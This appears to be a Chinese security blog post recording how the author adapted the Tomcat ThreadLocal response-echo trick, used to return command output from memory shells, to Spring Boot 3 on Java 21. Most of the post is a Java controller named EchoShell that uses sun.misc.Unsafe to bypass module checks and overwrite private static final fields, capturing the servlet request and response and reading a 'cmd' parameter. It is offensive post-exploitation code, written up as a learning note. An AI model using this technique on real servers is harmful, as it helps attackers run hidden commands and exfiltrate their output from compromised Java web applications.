SpringBoot3×java21下ThreadLocal Response回显

前言

前几天看了pop师傅的Tomcat内存马回显技术,利用ThreadLocal Response回显的时候,他换成低版本的SpringBoot和Java版本了(其实也就是kingkk师傅提出的tomcat回显得的方法)。因为现在SpringBoot3最低使用java17,反射修改private static final的方法在高版本下已经失效了。所以之前的代码已经不适用了,于是我就想着能不能在springboot3和java21实现一样的功能,刚开始自己没有构造出来,在ABU师傅的帮助下才写出来,于是也就有了这篇文章。主要是记录自己学习的过程。

ThreadLocal Response回显

低版本下就不多赘述说了,可以看pop师傅的文章,这里主要介绍高版本下如何解决报错问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package org.example.echon;

import jakarta.servlet.ServletRequest;
import jakarta.servlet.ServletResponse;
import org.apache.catalina.core.ApplicationFilterChain;
import org.apache.catalina.core.StandardContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import sun.misc.Unsafe;

import java.lang.reflect.Field;

@Controller
public class EchoShell {
//获取unSafe对象,因为Unsafe类中恰好可以修改偏移量
private static Unsafe getUnsafe() throws Exception {
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
return (Unsafe) unsafeField.get(null);
}
private static void setFinalStatic(Unsafe unsafe, Field field, Object value) throws Exception {
try {
Object fieldBase = unsafe.staticFieldBase(field);
long fieldOffset = unsafe.staticFieldOffset(field);
unsafe.putObject(fieldBase, fieldOffset, value);
} catch (Exception e) {
e.printStackTrace();
}
}

private static void setDispatcherWrapsSameObjectTrue() throws Exception {
Object obj = Thread.currentThread();
Field field = obj.getClass().getSuperclass().getDeclaredField("contextClassLoader");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
field.setAccessible(true);
obj = field.get(obj);

field = obj.getClass().getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
standardContext.setDispatcherWrapsSameObject(true);
}

@RequestMapping("/shell")
@ResponseBody
public String hello() throws Exception {
Unsafe unsafe = getUnsafe();

//获取当前的类, 通过 Unsafe 修改 Class 的模块:
Module baseModule=Object.class.getModule();
Class<?> currentClass= EchoShell.class;
long addr=unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass,addr,baseModule);

// 获取 ApplicationFilterChain 的私有字段
Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest");
Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse");

// 设置字段可访问
lastServicedRequestField.setAccessible(true);
lastServicedResponseField.setAccessible(true);

// 获取 lastServicedRequest 和 lastServicedResponse 变量
ThreadLocal<ServletResponse> lastServicedResponse = (ThreadLocal<ServletResponse>) lastServicedResponseField.get(null);
ThreadLocal<ServletRequest> lastServicedRequest = (ThreadLocal<ServletRequest>) lastServicedRequestField.get(null);


// 修改 dispatcherWrapsSameObject 的值为 true
setDispatcherWrapsSameObjectTrue();

String cmd = lastServicedRequest.get() != null
? lastServicedRequest.get().getParameter("cmd")
: null;
if (lastServicedResponse.get() == null || lastServicedRequest.get() == null) {
System.out.println("in");
//反射修改private static final 修饰的lastServicedRequest和lastServicedResponse
setFinalStatic(unsafe, lastServicedRequestField, new ThreadLocal<>());
setFinalStatic(unsafe, lastServicedResponseField, new ThreadLocal<>());

}if(cmd!=null){
try{
ServletResponse responseFacade = lastServicedResponse.get();
System.out.println(responseFacade);
}catch (Exception e) {
e.printStackTrace();
}
}

return null;
}
}



image-20240818151142566

其实主要解决了两个问题

  1. 反射修改private static final的方法在高版本下已经失效。
  2. 如何修改dispatcherWrapsSameObject值为true的问题。

参考链接

Tomcat中一种半通用回显方法

JDK高版本反射修改 private static fianl 修饰的对象

Tomcat内存马回显技术


SpringBoot3×java21下ThreadLocal Response回显
https://sp4rks3.github.io/2024/08/18/JAVA安全/内存马/SpringBoot3×java21下ThreadLocal Response回显/
作者
Sp4rks3
发布于
2024年8月18日
许可协议